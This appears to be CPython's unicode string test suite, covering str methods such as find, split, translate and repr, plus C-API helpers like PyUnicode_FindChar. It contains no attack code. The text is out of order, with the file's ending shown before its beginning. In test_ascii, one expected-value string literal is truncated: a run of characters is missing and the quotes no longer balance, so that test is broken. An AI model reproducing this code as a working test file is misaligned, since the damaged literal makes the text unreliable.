'\ud834\udd1e']: l = len(s) self.assertEqual(unicode_asucs4(s, l, 1), s+'\0') self.assertEqual(unicode_asucs4(s, l, 0), s+'\uffff') self.assertEqual(unicode_asucs4(s, l+1, 1), s+'\0\uffff') self.assertEqual(unicode_asucs4(s, l+1, 0), s+'\0\uffff') self.assertRaises(SystemError, unicode_asucs4, s, l-1, 1) self.assertRaises(SystemError, unicode_asucs4, s, l-2, 0) s = '\0'.join([s, s]) self.assertEqual(unicode_asucs4(s, len(s), 1), s+'\0') self.assertEqual(unicode_asucs4(s, len(s), 0), s+'\uffff') # Test PyUnicode_FindChar() @support.cpython_only def test_findchar(self): from _testcapi import unicode_findchar for str in "\xa1", "\u8000\u8080", "\ud800\udc02", "\U0001f100\U0001f1f1": for i, ch in enumerate(str): self.assertEqual(unicode_findchar(str, ord(ch), 0, len(str), 1), i) self.assertEqual(unicode_findchar(str, ord(ch), 0, len(str), -1), i) str = "!>_<!" self.assertEqual(unicode_findchar(str, 0x110000, 0, len(str), 1), -1) self.assertEqual(unicode_findchar(str, 0x110000, 0, len(str), -1), -1) # start < end self.assertEqual(unicode_findchar(str, ord('!'), 1, len(str)+1, 1), 4) self.assertEqual(unicode_findchar(str, ord('!'), 1, len(str)+1, -1), 4) # start >= end self.assertEqual(unicode_findchar(str, ord('!'), 0, 0, 1), -1) self.assertEqual(unicode_findchar(str, ord('!'), len(str), 0, 1), -1) # negative self.assertEqual(unicode_findchar(str, ord('!'), -len(str), -1, 1), 0) self.assertEqual(unicode_findchar(str, ord('!'), -len(str), -1, -1), 0) # Test PyUnicode_CopyCharacters() @support.cpython_only def test_copycharacters(self): from _testcapi import unicode_copycharacters strings = [ 'abcde', '\xa1\xa2\xa3\xa4\xa5', '\u4f60\u597d\u4e16\u754c\uff01', '\U0001f600\U0001f601\U0001f602\U0001f603\U0001f604' ] for idx, from_ in enumerate(strings): # wide -> narrow: exceed maxchar limitation for to in strings[:idx]: self.assertRaises( SystemError, unicode_copycharacters, to, 0, from_, 0, 5 ) # same kind for from_start in range(5): self.assertEqual( unicode_copycharacters(from_, 0, from_, from_start, 5), (from_[from_start:from_start+5].ljust(5, '\0'), 5-from_start) ) for to_start in range(5): self.assertEqual( unicode_copycharacters(from_, to_start, from_, to_start, 5), (from_[to_start:to_start+5].rjust(5, '\0'), 5-to_start) ) # narrow -> wide # Tests omitted since this creates invalid strings. s = strings[0] self.assertRaises(IndexError, unicode_copycharacters, s, 6, s, 0, 5) self.assertRaises(IndexError, unicode_copycharacters, s, -1, s, 0, 5) self.assertRaises(IndexError, unicode_copycharacters, s, 0, s, 6, 5) self.assertRaises(IndexError, unicode_copycharacters, s, 0, s, -1, 5) self.assertRaises(SystemError, unicode_copycharacters, s, 1, s, 0, 5) self.assertRaises(SystemError, unicode_copycharacters, s, 0, s, 0, -1) self.assertRaises(SystemError, unicode_copycharacters, s, 0, b'', 0, 0) @support.cpython_only def test_encode_decimal(self): from _testcapi import unicode_encodedecimal self.assertEqual(unicode_encodedecimal('123'), b'123') self.assertEqual(unicode_encodedecimal('\u0663.\u0661\u0664'), b'3.14') self.assertEqual(unicode_encodedecimal("\N{EM SPACE}3.14\N{EN SPACE}"), b' 3.14 ') self.assertRaises(UnicodeEncodeError, unicode_encodedecimal, "123\u20ac", "strict") self.assertRaisesRegex( ValueError, "^'decimal' codec can't encode character", unicode_encodedecimal, "123\u20ac", "replace") @support.cpython_only def test_transform_decimal(self): from _testcapi import unicode_transformdecimaltoascii as transform_decimal self.assertEqual(transform_decimal('123'), '123') self.assertEqual(transform_decimal('\u0663.\u0661\u0664'), '3.14') self.assertEqual(transform_decimal("\N{EM SPACE}3.14\N{EN SPACE}"), "\N{EM SPACE}3.14\N{EN SPACE}") self.assertEqual(transform_decimal('123\u20ac'), '123\u20ac') @support.cpython_only def test_pep393_utf8_caching_bug(self): # Issue #25709: Problem with string concatenation and utf-8 cache from _testcapi import getargs_s_hash for k in 0x24, 0xa4, 0x20ac, 0x1f40d: s = '' for i in range(5): # Due to CPython specific optimization the 's' string can be # resized in-place. s += chr(k) # Parsing with the "s#" format code calls indirectly # PyUnicode_AsUTF8AndSize() which creates the UTF-8 # encoded string cached in the Unicode object. self.assertEqual(getargs_s_hash(s), chr(k).encode() * (i + 1)) # Check that the second call returns the same result self.assertEqual(getargs_s_hash(s), chr(k).encode() * (i + 1)) class StringModuleTest(unittest.TestCase): def test_formatter_parser(self): def parse(format): return list(_string.formatter_parser(format)) formatter = parse("prefix {2!s}xxx{0:^+10.3f}{obj.attr!s} {z[0]!s:10}") self.assertEqual(formatter, [ ('prefix ', '2', '', 's'), ('xxx', '0', '^+10.3f', None), ('', 'obj.attr', '', 's'), (' ', 'z[0]', '10', 's'), ]) formatter = parse("prefix {} suffix") self.assertEqual(formatter, [ ('prefix ', '', '', None), (' suffix', None, None, None), ]) formatter = parse("str") self.assertEqual(formatter, [ ('str', None, None, None), ]) formatter = parse("") self.assertEqual(formatter, []) formatter = parse("{0}") self.assertEqual(formatter, [ ('', '0', '', None), ]) self.assertRaises(TypeError, _string.formatter_parser, 1) def test_formatter_field_name_split(self): def split(name): items = list(_string.formatter_field_name_split(name)) items[1] = list(items[1]) return items self.assertEqual(split("obj"), ["obj", []]) self.assertEqual(split("obj.arg"), ["obj", [(True, 'arg')]]) self.assertEqual(split("obj[key]"), ["obj", [(False, 'key')]]) self.assertEqual(split("obj.arg[key1][key2]"), [ "obj", [(True, 'arg'), (False, 'key1'), (False, 'key2'), ]]) self.assertRaises(TypeError, _string.formatter_field_name_split, 1) if __name__ == "__main__": unittest.main()

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import _string import codecs import itertools import operator import struct import string import sys import unittest import warnings from test import support, string_tests def search_function(encoding): def decode1(input, errors="strict"): return 42 def encode1(input, errors="strict"): return 42 def encode2(input, errors="strict"): return (42, 42) def decode2(input, errors="strict"): return (42, 42) if encoding=="test.unicode1": return (encode1, decode1, None, None) elif encoding=="test.unicode2": return (encode2, decode2, None, None) else: return None codecs.register(search_function) def duplicate_string(text): return text.encode().decode() class StrSubclass(str): pass class UnicodeTest(string_tests.CommonTest, string_tests.MixinStrUnicodeUserStringTest, string_tests.MixinStrUnicodeTest, unittest.TestCase): type2test = str def checkequalnofix(self, result, object, methodname, *args): method = getattr(object, methodname) realresult = method(*args) self.assertEqual(realresult, result) self.assertTrue(type(realresult) is type(result)) if realresult is object: class usub(str): def __repr__(self): return 'usub(%r)' % str.__repr__(self) object = usub(object) method = getattr(object, methodname) realresult = method(*args) self.assertEqual(realresult, result) self.assertTrue(object is not realresult) def test_literals(self): self.assertEqual('\xff', '\u00ff') self.assertEqual('\uffff', '\U0000ffff') self.assertRaises(SyntaxError, eval, '\'\\Ufffffffe\'') self.assertRaises(SyntaxError, eval, '\'\\Uffffffff\'') self.assertRaises(SyntaxError, eval, '\'\\U%08x\'' % 0x110000) # raw strings should not have unicode escapes self.assertNotEqual(r"\u0020", " ") def test_ascii(self): if not sys.platform.startswith('java'): # Test basic sanity of repr() self.assertEqual(ascii('abc'), "'abc'") self.assertEqual(ascii('ab\\c'), "'ab\\\\c'") self.assertEqual(ascii('ab\\'), "'ab\\\\'") self.assertEqual(ascii('\\c'), "'\\\\c'") self.assertEqual(ascii('\\'), "'\\\\'") self.assertEqual(ascii('\n'), "'\\n'") self.assertEqual(ascii('\r'), "'\\r'") self.assertEqual(ascii('\t'), "'\\t'") self.assertEqual(ascii('\b'), "'\\x08'") self.assertEqual(ascii("'\""), """'\\'"'""") self.assertEqual(ascii("'\""), """'\\'"'""") self.assertEqual(ascii("'"), '''"'"''') self.assertEqual(ascii('"'), """'"'""") latin1repr = ( "'\\x00\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08\\t\\n\\x0b\\x0c\\r" "\\x0e\\x0f\\x10\\x11\\x12\\x13\\x14\\x15\\x16\\x17\\x18\\x19\\x1a" "\\x1b\\x1c\\x1d\\x1e\\x1f !\" "JKLMNOPQRSTUVWXYZ[\\\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\\x7f" "\\x80\\x81\\x82\\x83\\x84\\x85\\x86\\x87\\x88\\x89\\x8a\\x8b\\x8c\\x8d" "\\x8e\\x8f\\x90\\x91\\x92\\x93\\x94\\x95\\x96\\x97\\x98\\x99\\x9a\\x9b" "\\x9c\\x9d\\x9e\\x9f\\xa0\\xa1\\xa2\\xa3\\xa4\\xa5\\xa6\\xa7\\xa8\\xa9" "\\xaa\\xab\\xac\\xad\\xae\\xaf\\xb0\\xb1\\xb2\\xb3\\xb4\\xb5\\xb6\\xb7" "\\xb8\\xb9\\xba\\xbb\\xbc\\xbd\\xbe\\xbf\\xc0\\xc1\\xc2\\xc3\\xc4\\xc5" "\\xc6\\xc7\\xc8\\xc9\\xca\\xcb\\xcc\\xcd\\xce\\xcf\\xd0\\xd1\\xd2\\xd3" "\\xd4\\xd5\\xd6\\xd7\\xd8\\xd9\\xda\\xdb\\xdc\\xdd\\xde\\xdf\\xe0\\xe1" "\\xe2\\xe3\\xe4\\xe5\\xe6\\xe7\\xe8\\xe9\\xea\\xeb\\xec\\xed\\xee\\xef" "\\xf0\\xf1\\xf2\\xf3\\xf4\\xf5\\xf6\\xf7\\xf8\\xf9\\xfa\\xfb\\xfc\\xfd" "\\xfe\\xff'") testrepr = ascii(''.join(map(chr, range(256)))) self.assertEqual(testrepr, latin1repr) # Test ascii works on wide unicode escapes without overflow. self.assertEqual(ascii("\U00010000" * 39 + "\uffff" * 4096), ascii("\U00010000" * 39 + "\uffff" * 4096)) class WrongRepr: def __repr__(self): return b'byte-repr' self.assertRaises(TypeError, ascii, WrongRepr()) def test_repr(self): if not sys.platform.startswith('java'): # Test basic sanity of repr() self.assertEqual(repr('abc'), "'abc'") self.assertEqual(repr('ab\\c'), "'ab\\\\c'") self.assertEqual(repr('ab\\'), "'ab\\\\'") self.assertEqual(repr('\\c'), "'\\\\c'") self.assertEqual(repr('\\'), "'\\\\'") self.assertEqual(repr('\n'), "'\\n'") self.assertEqual(repr('\r'), "'\\r'") self.assertEqual(repr('\t'), "'\\t'") self.assertEqual(repr('\b'), "'\\x08'") self.assertEqual(repr("'\""), """'\\'"'""") self.assertEqual(repr("'\""), """'\\'"'""") self.assertEqual(repr("'"), '''"'"''') self.assertEqual(repr('"'), """'"'""") latin1repr = ( "'\\x00\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08\\t\\n\\x0b\\x0c\\r" "\\x0e\\x0f\\x10\\x11\\x12\\x13\\x14\\x15\\x16\\x17\\x18\\x19\\x1a" "\\x1b\\x1c\\x1d\\x1e\\x1f !\"#$%&\\'()*+,-./0123456789:;<=>?@ABCDEFGHI" "JKLMNOPQRSTUVWXYZ[\\\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\\x7f" "\\x80\\x81\\x82\\x83\\x84\\x85\\x86\\x87\\x88\\x89\\x8a\\x8b\\x8c\\x8d" "\\x8e\\x8f\\x90\\x91\\x92\\x93\\x94\\x95\\x96\\x97\\x98\\x99\\x9a\\x9b" "\\x9c\\x9d\\x9e\\x9f\\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9" "\xaa\xab\xac\\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7" "\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5" "\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3" "\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1" "\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef" "\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd" "\xfe\xff'") testrepr = repr(''.join(map(chr, range(256)))) self.assertEqual(testrepr, latin1repr) # Test repr works on wide unicode escapes without overflow. self.assertEqual(repr("\U00010000" * 39 + "\uffff" * 4096), repr("\U00010000" * 39 + "\uffff" * 4096)) class WrongRepr: def __repr__(self): return b'byte-repr' self.assertRaises(TypeError, repr, WrongRepr()) def test_iterators(self): # Make sure unicode objects have an __iter__ method it = "\u1111\u2222\u3333".__iter__() self.assertEqual(next(it), "\u1111") self.assertEqual(next(it), "\u2222") self.assertEqual(next(it), "\u3333") self.assertRaises(StopIteration, next, it) def test_count(self): string_tests.CommonTest.test_count(self) # check mixed argument types self.checkequalnofix(3, 'aaa', 'count', 'a') self.checkequalnofix(0, 'aaa', 'count', 'b') self.checkequalnofix(3, 'aaa', 'count', 'a') self.checkequalnofix(0, 'aaa', 'count', 'b') self.checkequalnofix(0, 'aaa', 'count', 'b') self.checkequalnofix(1, 'aaa', 'count', 'a', -1) self.checkequalnofix(3, 'aaa', 'count', 'a', -10) self.checkequalnofix(2, 'aaa', 'count', 'a', 0, -1) self.checkequalnofix(0, 'aaa', 'count', 'a', 0, -10) # test mixed kinds self.checkequal(10, '\u0102' + 'a' * 10, 'count', 'a') self.checkequal(10, '\U00100304' + 'a' * 10, 'count', 'a') self.checkequal(10, '\U00100304' + '\u0102' * 10, 'count', '\u0102') self.checkequal(0, 'a' * 10, 'count', '\u0102') self.checkequal(0, 'a' * 10, 'count', '\U00100304') self.checkequal(0, '\u0102' * 10, 'count', '\U00100304') self.checkequal(10, '\u0102' + 'a_' * 10, 'count', 'a_') self.checkequal(10, '\U00100304' + 'a_' * 10, 'count', 'a_') self.checkequal(10, '\U00100304' + '\u0102_' * 10, 'count', '\u0102_') self.checkequal(0, 'a' * 10, 'count', 'a\u0102') self.checkequal(0, 'a' * 10, 'count', 'a\U00100304') self.checkequal(0, '\u0102' * 10, 'count', '\u0102\U00100304') def test_find(self): string_tests.CommonTest.test_find(self) # test implementation details of the memchr fast path self.checkequal(100, 'a' * 100 + '\u0102', 'find', '\u0102') self.checkequal(-1, 'a' * 100 + '\u0102', 'find', '\u0201') self.checkequal(-1, 'a' * 100 + '\u0102', 'find', '\u0120') self.checkequal(-1, 'a' * 100 + '\u0102', 'find', '\u0220') self.checkequal(100, 'a' * 100 + '\U00100304', 'find', '\U00100304') self.checkequal(-1, 'a' * 100 + '\U00100304', 'find', '\U00100204') self.checkequal(-1, 'a' * 100 + '\U00100304', 'find', '\U00102004') # check mixed argument types self.checkequalnofix(0, 'abcdefghiabc', 'find', 'abc') self.checkequalnofix(9, 'abcdefghiabc', 'find', 'abc', 1) self.checkequalnofix(-1, 'abcdefghiabc', 'find', 'def', 4) self.assertRaises(TypeError, 'hello'.find) self.assertRaises(TypeError, 'hello'.find, 42) # test mixed kinds self.checkequal(100, '\u0102' * 100 + 'a', 'find', 'a') self.checkequal(100, '\U00100304' * 100 + 'a', 'find', 'a') self.checkequal(100, '\U00100304' * 100 + '\u0102', 'find', '\u0102') self.checkequal(-1, 'a' * 100, 'find', '\u0102') self.checkequal(-1, 'a' * 100, 'find', '\U00100304') self.checkequal(-1, '\u0102' * 100, 'find', '\U00100304') self.checkequal(100, '\u0102' * 100 + 'a_', 'find', 'a_') self.checkequal(100, '\U00100304' * 100 + 'a_', 'find', 'a_') self.checkequal(100, '\U00100304' * 100 + '\u0102_', 'find', '\u0102_') self.checkequal(-1, 'a' * 100, 'find', 'a\u0102') self.checkequal(-1, 'a' * 100, 'find', 'a\U00100304') self.checkequal(-1, '\u0102' * 100, 'find', '\u0102\U00100304') def test_rfind(self): string_tests.CommonTest.test_rfind(self) # test implementation details of the memrchr fast path self.checkequal(0, '\u0102' + 'a' * 100 , 'rfind', '\u0102') self.checkequal(-1, '\u0102' + 'a' * 100 , 'rfind', '\u0201') self.checkequal(-1, '\u0102' + 'a' * 100 , 'rfind', '\u0120') self.checkequal(-1, '\u0102' + 'a' * 100 , 'rfind', '\u0220') self.checkequal(0, '\U00100304' + 'a' * 100, 'rfind', '\U00100304') self.checkequal(-1, '\U00100304' + 'a' * 100, 'rfind', '\U00100204') self.checkequal(-1, '\U00100304' + 'a' * 100, 'rfind', '\U00102004') # check mixed argument types self.checkequalnofix(9, 'abcdefghiabc', 'rfind', 'abc') self.checkequalnofix(12, 'abcdefghiabc', 'rfind', '') self.checkequalnofix(12, 'abcdefghiabc', 'rfind', '') # test mixed kinds self.checkequal(0, 'a' + '\u0102' * 100, 'rfind', 'a') self.checkequal(0, 'a' + '\U00100304' * 100, 'rfind', 'a') self.checkequal(0, '\u0102' + '\U00100304' * 100, 'rfind', '\u0102') self.checkequal(-1, 'a' * 100, 'rfind', '\u0102') self.checkequal(-1, 'a' * 100, 'rfind', '\U00100304') self.checkequal(-1, '\u0102' * 100, 'rfind', '\U00100304') self.checkequal(0, '_a' + '\u0102' * 100, 'rfind', '_a') self.checkequal(0, '_a' + '\U00100304' * 100, 'rfind', '_a') self.checkequal(0, '_\u0102' + '\U00100304' * 100, 'rfind', '_\u0102') self.checkequal(-1, 'a' * 100, 'rfind', '\u0102a') self.checkequal(-1, 'a' * 100, 'rfind', '\U00100304a') self.checkequal(-1, '\u0102' * 100, 'rfind', '\U00100304\u0102') def test_index(self): string_tests.CommonTest.test_index(self) self.checkequalnofix(0, 'abcdefghiabc', 'index', '') self.checkequalnofix(3, 'abcdefghiabc', 'index', 'def') self.checkequalnofix(0, 'abcdefghiabc', 'index', 'abc') self.checkequalnofix(9, 'abcdefghiabc', 'index', 'abc', 1) self.assertRaises(ValueError, 'abcdefghiabc'.index, 'hib') self.assertRaises(ValueError, 'abcdefghiab'.index, 'abc', 1) self.assertRaises(ValueError, 'abcdefghi'.index, 'ghi', 8) self.assertRaises(ValueError, 'abcdefghi'.index, 'ghi', -1) # test mixed kinds self.checkequal(100, '\u0102' * 100 + 'a', 'index', 'a') self.checkequal(100, '\U00100304' * 100 + 'a', 'index', 'a') self.checkequal(100, '\U00100304' * 100 + '\u0102', 'index', '\u0102') self.assertRaises(ValueError, ('a' * 100).index, '\u0102') self.assertRaises(ValueError, ('a' * 100).index, '\U00100304') self.assertRaises(ValueError, ('\u0102' * 100).index, '\U00100304') self.checkequal(100, '\u0102' * 100 + 'a_', 'index', 'a_') self.checkequal(100, '\U00100304' * 100 + 'a_', 'index', 'a_') self.checkequal(100, '\U00100304' * 100 + '\u0102_', 'index', '\u0102_') self.assertRaises(ValueError, ('a' * 100).index, 'a\u0102') self.assertRaises(ValueError, ('a' * 100).index, 'a\U00100304') self.assertRaises(ValueError, ('\u0102' * 100).index, '\u0102\U00100304') def test_rindex(self): string_tests.CommonTest.test_rindex(self) self.checkequalnofix(12, 'abcdefghiabc', 'rindex', '') self.checkequalnofix(3, 'abcdefghiabc', 'rindex', 'def') self.checkequalnofix(9, 'abcdefghiabc', 'rindex', 'abc') self.checkequalnofix(0, 'abcdefghiabc', 'rindex', 'abc', 0, -1) self.assertRaises(ValueError, 'abcdefghiabc'.rindex, 'hib') self.assertRaises(ValueError, 'defghiabc'.rindex, 'def', 1) self.assertRaises(ValueError, 'defghiabc'.rindex, 'abc', 0, -1) self.assertRaises(ValueError, 'abcdefghi'.rindex, 'ghi', 0, 8) self.assertRaises(ValueError, 'abcdefghi'.rindex, 'ghi', 0, -1) # test mixed kinds self.checkequal(0, 'a' + '\u0102' * 100, 'rindex', 'a') self.checkequal(0, 'a' + '\U00100304' * 100, 'rindex', 'a') self.checkequal(0, '\u0102' + '\U00100304' * 100, 'rindex', '\u0102') self.assertRaises(ValueError, ('a' * 100).rindex, '\u0102') self.assertRaises(ValueError, ('a' * 100).rindex, '\U00100304') self.assertRaises(ValueError, ('\u0102' * 100).rindex, '\U00100304') self.checkequal(0, '_a' + '\u0102' * 100, 'rindex', '_a') self.checkequal(0, '_a' + '\U00100304' * 100, 'rindex', '_a') self.checkequal(0, '_\u0102' + '\U00100304' * 100, 'rindex', '_\u0102') self.assertRaises(ValueError, ('a' * 100).rindex, '\u0102a') self.assertRaises(ValueError, ('a' * 100).rindex, '\U00100304a') self.assertRaises(ValueError, ('\u0102' * 100).rindex, '\U00100304\u0102') def test_maketrans_translate(self): # these work with plain translate() self.checkequalnofix('bbbc', 'abababc', 'translate', {ord('a'): None}) self.checkequalnofix('iiic', 'abababc', 'translate', {ord('a'): None, ord('b'): ord('i')}) self.checkequalnofix('iiix', 'abababc', 'translate', {ord('a'): None, ord('b'): ord('i'), ord('c'): 'x'}) self.checkequalnofix('c', 'abababc', 'translate', {ord('a'): None, ord('b'): ''}) self.checkequalnofix('xyyx', 'xzx', 'translate', {ord('z'): 'yy'}) # this needs maketrans() self.checkequalnofix('abababc', 'abababc', 'translate', {'b': '<i>'}) tbl = self.type2test.maketrans({'a': None, 'b': '<i>'}) self.checkequalnofix('<i><i><i>c', 'abababc', 'translate', tbl) # test alternative way of calling maketrans() tbl = self.type2test.maketrans('abc', 'xyz', 'd') self.checkequalnofix('xyzzy', 'abdcdcbdddd', 'translate', tbl) # various tests switching from ASCII to latin1 or the opposite; # same length, remove a letter, or replace with a longer string. self.assertEqual("[a]".translate(str.maketrans('a', 'X')), "[X]") self.assertEqual("[a]".translate(str.maketrans({'a': 'X'})), "[X]") self.assertEqual("[a]".translate(str.maketrans({'a': None})), "[]") self.assertEqual("[a]".translate(str.maketrans({'a': 'XXX'})), "[XXX]") self.assertEqual("[a]".translate(str.maketrans({'a': '\xe9'})), "[\xe9]") self.assertEqual('axb'.translate(str.maketrans({'a': None, 'b': '123'})), "x123") self.assertEqual('axb'.translate(str.maketrans({'a': None, 'b': '\xe9'})), "x\xe9") # test non-ASCII (don't take the fast-path) self.assertEqual("[a]".translate(str.maketrans({'a': '<\xe9>'})), "[<\xe9>]") self.assertEqual("[\xe9]".translate(str.maketrans({'\xe9': 'a'})), "[a]") self.assertEqual("[\xe9]".translate(str.maketrans({'\xe9': None})), "[]") self.assertEqual("[\xe9]".translate(str.maketrans({'\xe9': '123'})), "[123]") self.assertEqual("[a\xe9]".translate(str.maketrans({'a': '<\u20ac>'})), "[<\u20ac>\xe9]") invalid_char = 0x10ffff+1 for before in "a\xe9\u20ac\U0010ffff": mapping = str.maketrans({before: invalid_char}) text = "[%s]" % before self.assertRaises(ValueError, text.translate, mapping) self.assertRaises(TypeError, self.type2test.maketrans) self.assertRaises(ValueError, self.type2test.maketrans, 'abc', 'defg') self.assertRaises(TypeError, self.type2test.maketrans, 2, 'def') self.assertRaises(TypeError, self.type2test.maketrans, 'abc', 2) self.assertRaises(TypeError, self.type2test.maketrans, 'abc', 'def', 2) self.assertRaises(ValueError, self.type2test.maketrans, {'xy': 2}) self.assertRaises(TypeError, self.type2test.maketrans, {(1,): 2}) self.assertRaises(TypeError, 'hello'.translate) self.assertRaises(TypeError, 'abababc'.translate, 'abc', 'xyz') def test_split(self): string_tests.CommonTest.test_split(self) for left, right in ('ba', '\u0101\u0100', '\U00010301\U00010300'): left *= 9 right *= 9 for delim in ('c', '\u0102', '\U00010302'): self.checkequal([left + right], left + right, 'split', delim) self.checkequal([left, right], left + delim + right, 'split', delim) self.checkequal([left + right], left + right, 'split', delim * 2) self.checkequal([left, right], left + delim * 2 + right, 'split', delim *2) def test_rsplit(self): string_tests.CommonTest.test_rsplit(self) for left, right in ('ba', '\u0101\u0100', '\U00010301\U00010300'): left *= 9 right *= 9 for delim in ('c', '\u0102', '\U00010302'): self.checkequal([left + right], left + right, 'rsplit', delim) self.checkequal([left, right], left + delim + right, 'rsplit', delim) self.checkequal([left + right], left + right, 'rsplit', delim * 2) self.checkequal([left, right], left + delim * 2 + right, 'rsplit', delim *2) def test_partition(self): string_tests.MixinStrUnicodeUserStringTest.test_partition(self) self.checkequal(('ABCDEFGH', '', ''), 'ABCDEFGH', 'partition', '\u4200') for left, right in ('ba', '\u0101\u0100', '\U00010301\U00010300'): left *= 9 right *= 9 for delim in ('c', '\u0102', '\U00010302'): self.checkequal((left + right, '', ''), left + right, 'partition', delim) self.checkequal((left, delim, right), left + delim + right, 'partition', delim) self.checkequal((left + right, '', ''), left + right, 'partition', delim * 2) self.checkequal((left, delim * 2, right), left + delim * 2 + right, 'partition', delim * 2) def test_rpartition(self): string_tests.MixinStrUnicodeUserStringTest.test_rpartition(self) self.checkequal(('', '', 'ABCDEFGH'), 'ABCDEFGH', 'rpartition', '\u4200') for left, right in ('ba', '\u0101\u0100', '\U00010301\U00010300'): left *= 9 right *= 9 for delim in ('c', '\u0102', '\U00010302'): self.checkequal(('', '', left + right), left + right, 'rpartition', delim) self.checkequal((left, delim, right), left + delim + right, 'rpartition', delim) self.checkequal(('', '', left + right), left + right, 'rpartition', delim * 2) self.checkequal((left, delim * 2, right), left + delim * 2 + right, 'rpartition', delim * 2) def test_join(self): string_tests.MixinStrUnicodeUserStringTest.test_join(self) class MyWrapper: def __init__(self, sval): self.sval = sval def __str__(self): return self.sval self.checkequalnofix('a b c d', ' ', 'join', ['a', 'b', 'c', 'd']) self.checkequalnofix('abcd', '', 'join', ('a', 'b', 'c', 'd')) self.checkequalnofix('w x y z', ' ', 'join', string_tests.Sequence('wxyz')) self.checkequalnofix('a b c d', ' ', 'join', ['a', 'b', 'c', 'd']) self.checkequalnofix('a b c d', ' ', 'join', ['a', 'b', 'c', 'd']) self.checkequalnofix('abcd', '', 'join', ('a', 'b', 'c', 'd')) self.checkequalnofix('w x y z', ' ', 'join', string_tests.Sequence('wxyz')) self.checkraises(TypeError, ' ', 'join', ['1', '2', MyWrapper('foo')]) self.checkraises(TypeError, ' ', 'join', ['1', '2', '3', bytes()]) self.checkraises(TypeError, ' ', 'join', [1, 2, 3]) self.checkraises(TypeError, ' ', 'join', ['1', '2', 3]) @unittest.skipIf(sys.maxsize > 2**32, 'needs too much memory on a 64-bit platform') def test_join_overflow(self): size = int(sys.maxsize**0.5) + 1 seq = ('A' * size,) * size self.assertRaises(OverflowError, ''.join, seq) def test_replace(self): string_tests.CommonTest.test_replace(self) self.checkequalnofix('one@two!three!', 'one!two!three!', 'replace', '!', '@', 1) self.assertRaises(TypeError, 'replace'.replace, "r", 42) for left, right in ('ba', '\u0101\u0100', '\U00010301\U00010300'): left *= 9 right *= 9 for delim in ('c', '\u0102', '\U00010302'): for repl in ('d', '\u0103', '\U00010303'): self.checkequal(left + right, left + right, 'replace', delim, repl) self.checkequal(left + repl + right, left + delim + right, 'replace', delim, repl) self.checkequal(left + right, left + right, 'replace', delim * 2, repl) self.checkequal(left + repl + right, left + delim * 2 + right, 'replace', delim * 2, repl) @support.cpython_only def test_replace_id(self): pattern = 'abc' text = 'abc def' self.assertIs(text.replace(pattern, pattern), text) def test_bytes_comparison(self): with support.check_warnings(): warnings.simplefilter('ignore', BytesWarning) self.assertEqual('abc' == b'abc', False) self.assertEqual('abc' != b'abc', True) self.assertEqual('abc' == bytearray(b'abc'), False) self.assertEqual('abc' != bytearray(b'abc'), True) def test_comparison(self): self.assertEqual('abc', 'abc') self.assertTrue('abcd' > 'abc') self.assertTrue('abc' < 'abcd') if 0: self.assertTrue('\u0061' < '\u20ac') self.assertTrue('\u0061' < '\ud800\udc02') def test_lecmp(s, s2): self.assertTrue(s < s2) def test_fixup(s): s2 = '\ud800\udc01' test_lecmp(s, s2) s2 = '\ud900\udc01' test_lecmp(s, s2) s2 = '\uda00\udc01' test_lecmp(s, s2) s2 = '\udb00\udc01' test_lecmp(s, s2) s2 = '\ud800\udd01' test_lecmp(s, s2) s2 = '\ud900\udd01' test_lecmp(s, s2) s2 = '\uda00\udd01' test_lecmp(s, s2) s2 = '\udb00\udd01' test_lecmp(s, s2) s2 = '\ud800\ude01' test_lecmp(s, s2) s2 = '\ud900\ude01' test_lecmp(s, s2) s2 = '\uda00\ude01' test_lecmp(s, s2) s2 = '\udb00\ude01' test_lecmp(s, s2) s2 = '\ud800\udfff' test_lecmp(s, s2) s2 = '\ud900\udfff' test_lecmp(s, s2) s2 = '\uda00\udfff' test_lecmp(s, s2) s2 = '\udb00\udfff' test_lecmp(s, s2) test_fixup('\ue000') test_fixup('\uff61') self.assertTrue('\ud800\udc02' < '\ud84d\udc56') def test_islower(self): super().test_islower() self.checkequalnofix(False, '\u1FFc', 'islower') self.assertFalse('\u2167'.islower()) self.assertTrue('\u2177'.islower()) self.assertFalse('\U00010401'.islower()) self.assertFalse('\U00010427'.islower()) self.assertTrue('\U00010429'.islower()) self.assertTrue('\U0001044E'.islower()) self.assertFalse('\U0001F40D'.islower()) self.assertFalse('\U0001F46F'.islower()) def test_isupper(self): super().test_isupper() if not sys.platform.startswith('java'): self.checkequalnofix(False, '\u1FFc', 'isupper') self.assertTrue('\u2167'.isupper()) self.assertFalse('\u2177'.isupper()) self.assertTrue('\U00010401'.isupper()) self.assertTrue('\U00010427'.isupper()) self.assertFalse('\U00010429'.isupper()) self.assertFalse('\U0001044E'.isupper()) self.assertFalse('\U0001F40D'.isupper()) self.assertFalse('\U0001F46F'.isupper()) def test_istitle(self): super().test_istitle() self.checkequalnofix(True, '\u1FFc', 'istitle') self.checkequalnofix(True, 'Greek \u1FFcitlecases ...', 'istitle') self.assertTrue('\U00010401\U00010429'.istitle()) self.assertTrue('\U00010427\U0001044E'.istitle()) for ch in ['\U00010429', '\U0001044E', '\U0001F40D', '\U0001F46F']: self.assertFalse(ch.istitle(), '{!a} is not title'.format(ch)) def test_isspace(self): super().test_isspace() self.checkequalnofix(True, '\u2000', 'isspace') self.checkequalnofix(True, '\u200a', 'isspace') self.checkequalnofix(False, '\u2014', 'isspace') for ch in ['\U00010401', '\U00010427', '\U00010429', '\U0001044E', '\U0001F40D', '\U0001F46F']: self.assertFalse(ch.isspace(), '{!a} is not space.'.format(ch)) def test_isalnum(self): super().test_isalnum() for ch in ['\U00010401', '\U00010427', '\U00010429', '\U0001044E', '\U0001D7F6', '\U00011066', '\U000104A0', '\U0001F107']: self.assertTrue(ch.isalnum(), '{!a} is 